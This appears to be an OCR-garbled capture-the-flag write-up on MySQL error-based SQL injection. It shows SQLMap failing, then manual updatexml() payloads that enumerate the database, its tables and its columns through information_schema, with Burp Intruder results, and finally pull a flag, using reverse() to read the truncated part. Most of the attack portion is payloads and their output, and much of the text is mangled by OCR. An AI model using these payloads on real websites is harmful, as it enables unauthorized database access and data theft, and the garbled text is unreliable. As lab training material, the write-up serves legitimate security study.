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2.2% SQLMap

"AND bo n-based blind - WHERE or HAVING
'AND bo n-based blind - WHERE or HAVING

"AND boolean-based bl - WHERE or HAVING clause
'Boolean-based blind arameter replace (original
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[WARNING] parameter 'Referer' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.
ry to incre alues for '—1 I orm m
ore tests. If tion mechanism inv
] g. | [ you could t '—tamper’' (e.g. '-—tamper
mment') and/or switch
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FH 21| B8 %% : updatexml
updatexml( BFrxml %, xmlXI4EE, FEHKAE)
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id=updatexml(1,concat(@x7e, (select database()),0x7e),1) KIFES: word
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XPATH syntax error: "~words~"
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id=updatexml(1, concat(@x7e, (select count from information_schema.tables Ox7e
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XPATH syntax error: "~83~'
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id=updatexml(1,concat(@x7e, (select table name from information_schema.tables limit 0,1),0x7e),1
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id=updatexml(1, concat(@x7e, (select table name from information_schema.tables limit 83,1),0x7e),1
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Attack  Save Columns
Results Target Positions Payloads Opticns

Filter: Showingallitems ‘@
Request Payload Status Error  Timeout Length Comment

L EAS) Lu Laaa

18 77 200 1555

19 7B 200 1357

20 79 200 1552

21 BO 200 1547

22 Bl 200 1544

3 B2 200 1544

24 B3 200 1520

5 B4 200 1520

26 B5 200 1520

27 BG 200 1520

2B B7 200 1520

29 BB 200 1520

30 ED 200 1520 D Kis

31 90 200 1520 (5!
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<@ href="index.php?id=1"=>FEHE</a=

=fli=
40
41 =ful=
4z <fdive=
43 =fdiv=
44 </nav:>
45 =/body=
46 <fhtml=

47 ¥PATHsyntax error: '~fldg-~"

®{§}|(—”—)|| J 0 matches
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id updatexml 1, concat(@x7e, (select count from information_schema.columns ox7e),1
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XPATH syntax error. '~811~"

i FRA:
id=updatexml(1l,concat(0x7e, (select column_name from information_schema.columns limit ©,1),0x7e),1
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id=updatexml(1, concat(0x7e, (select column_name from information_schema.columns limit 811,1),0x7e),1
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1 BOO 200 1544

2 BO1 200 1547

3 BO2 200 1545

4 BO3 200 1544

5 BO4 200 1550

6 BOS 200 1549

7 BOG 200 1554

B BO7 200 1544

9 BOB 200 1544

10 BO9 200 1542

11 810 200 1545

12 B11 200 1520

13 B12 200 1520 D Kfs

14 B13 200 1520 — G4
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=@ href="index.php?id=1"=FHMiHE=/a=

=/li=
40
a1 <ful=
42 =fdiv=
43 <fdive=
44 =/nav=
45 </body>
45 =fhtml=

AT ¥PATHsyntax error: '~fldg~"'

@ﬁ}} |E|I§| | Search... | 0 matches

id=updatexml(1,concat(@x7e, (select fl4g from fl4g),0x7e),1
RIflagls BA%
flag{b892889e-6bbd-421d-b984-d6
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JavaScript reverse() Bix

1, JavaScript Array 2
e
EifEEERTERIRAs:

var fruits = ["Banana", "Orange", "fApple", "Mango"];
fruits.reverse();

fruits S5RH1H

Mango, Apple,Orange,Banana
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<!DOCTYPE html>

<html> Mango,Apple,Orange,Banana
<head>

<meta charset="utf-8">

<title>EBHHE (runoob.com)</title>

</head>

<body>

<p id="demo" B IR B BREHF. </p>
<button onclick="myFunction()">f < /button>
<script>
var fruits = ["Banana", "Orange", "Apple”, "Mango"]
function myFunction{){
fruits.reverse();
var x=document.getElementById("demo");
x.innerHTML=Fruits;
}
</script>

</body>
</html>

W5l flagN %, MJEHHETEL
id=updatexml(1,concat(reverse((select f14g from fl4g

ef99546fdb6d-489b-d124-dbb6-e98
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XPATH syntax error: 1ef99546fdb6d-489b-d124-dbb6-298"
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flag{b892889e-6bbd-421d-b984-d6

}ef99546fdb6d-489b-d124-dbb6-e98
X -
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flag{b892889e-6bbd-421d-b984-d66dbf64599fe}
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